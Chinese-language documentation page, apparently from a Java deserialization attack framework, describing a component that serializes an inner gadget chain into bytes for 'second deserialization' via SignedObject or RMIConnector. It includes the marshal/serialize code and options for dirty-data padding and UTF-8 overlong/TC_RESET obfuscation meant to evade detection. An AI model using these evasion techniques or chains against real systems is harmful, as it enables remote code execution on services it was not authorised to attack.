- 类别:javanative 别名:— 优先级:—
- 作者:c0ny1、Y4tacker、1ue、Whoopsunix
- 依赖:无(纯 JDK)
把内层对象用 ObjectOutputStream 做一次 Java 原生序列化,产出 byte[] 字节流。它是「二次反序列化」链的关键接缝:将一个完整的 Java 反序列化 gadget 事先序列化成字节数组,交给外层能触发 readObject 的载体(如 SignedObject、RMIConnector),实现在受害端把这段字节流再次反序列化。
- 入口
tags:JavaNativeDeserializePayload—— 承接需要「一段已序列化字节流」作为输入的上一环。 - 衔接
nextTags:JavaNativeDeserialize、CustomBytePayload—— 其内层必须是一条完整的 Java 原生反序列化链(JavaNativeDeserialize入口,如 CommonsBeanutils1、CommonsCollectionsK3),或用户自定义字节流。 excludes:无。
本类只覆写 invoke,把内层对象交给基类的 marshal:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return super.marshal(chain.doCreate(context)); // 内层对象 -> 序列化字节流
}真正的序列化逻辑在基类 AbstractJavaNative:
public byte[] marshal(Object obj) throws Exception {
this.object = obj;
byte[] resultBytes = null;
if (obj instanceof byte[]) {
resultBytes = (byte[]) obj; // 已是字节流则直接透传
} else {
Object objWraped = DirtyDataWrapper.builder(obj)
.withDirtyCollectionSize(this.dirtyCollectionSize)
.withDirtyClassSize(this.dirtyClassSize).build(); // 可选脏数据填充
resultBytes = AbstractJavaNative.serialize(objWraped);
}
int overLong = Integer.parseInt(this.overlongMode);
if (overLong > 0 || this.resetSize > 0) {
resultBytes = SerializationObfuscator.builder(resultBytes)
.withType(overLong).withTcResetSize(this.resetSize).build(); // 可选混淆
}
return resultBytes;
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj); // 标准 JDK 序列化
return out.toByteArray();
}marshal若发现内层已是byte[](如UserCustomByteXXX自定义字节流)则原样透传,否则先经DirtyDataWrapper做可选的「脏数据」填充(用 ArrayList/HashMap 等集合或垃圾类名膨胀 payload 以绕过部分检测),再走标准ObjectOutputStream.writeObject。- 序列化后可选做
SerializationObfuscator混淆:TC_RESET 插入与 UTF-8 overlong encoding,用于对抗关键字/明文特征检测。 - 产物是
byte[],因此它在链中不是最外层——外层需再套一个「读到该字节流就会 readObject」的 gadget 完成二次反序列化。
本类无独立 @Param;下列参数继承自基类 AbstractJavaNative,在使用 Java 原生 Payload 入口时可配置:
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
dirtyCollectionSize |
随机集合脏数据大小 | 用集合类型包裹 object 并填充指定量脏数据,推荐使用 | 0 |
0 ~ 50000000 |
dirtyClassSize |
填充垃圾类的数量 | 用 LinkedList 包裹随机垃圾类名,生成极慢 | 0 |
0 ~ 20000 |
resetSize |
TC_RESET 脏数据大小 | 重复插入 TC_RESET,配 gzip 可设很大 | 0 |
0 ~ 50000000 |
overlongMode |
Utf8OverlongEncoding | UTF-8 overlong 编码混淆模式 | "0" |
0不开启 / 1混合2、3字节 / 2纯2字节 / 3纯3字节 |
- 纯 JDK 实现,无第三方依赖,任何 JVM 均可。
- 定位是二次反序列化的中间层:
内层完整 Java 链 → JavaNativeSerialization 序列化成 byte[] → 外层触发器(SignedObject / RMIConnector 等)readObject 时再次反序列化 byte[]。 - 混淆/脏数据能力面向对抗检测;
UserCustomByteXXX自定义字节流不支持脏数据混淆(description 已注明)。
- Hessian Fastjson 链
- Hessian Jackson 链
- K1链二次反序列化1
- K1链二次反序列化2
- Rome1低版本二次反序列化链
- Rome2高版本二次反序列化链
- 二次反序列化链
- 上游(会读并再次反序列化该字节流):SignedObject、
RMIConnector、JavaNativeSerialization的外层触发器。 - 下游(
nextTags=JavaNativeDeserialize,被序列化的完整内层链):CommonsBeanutils1、CommonsCollectionsK3、Fastjson、Jackson。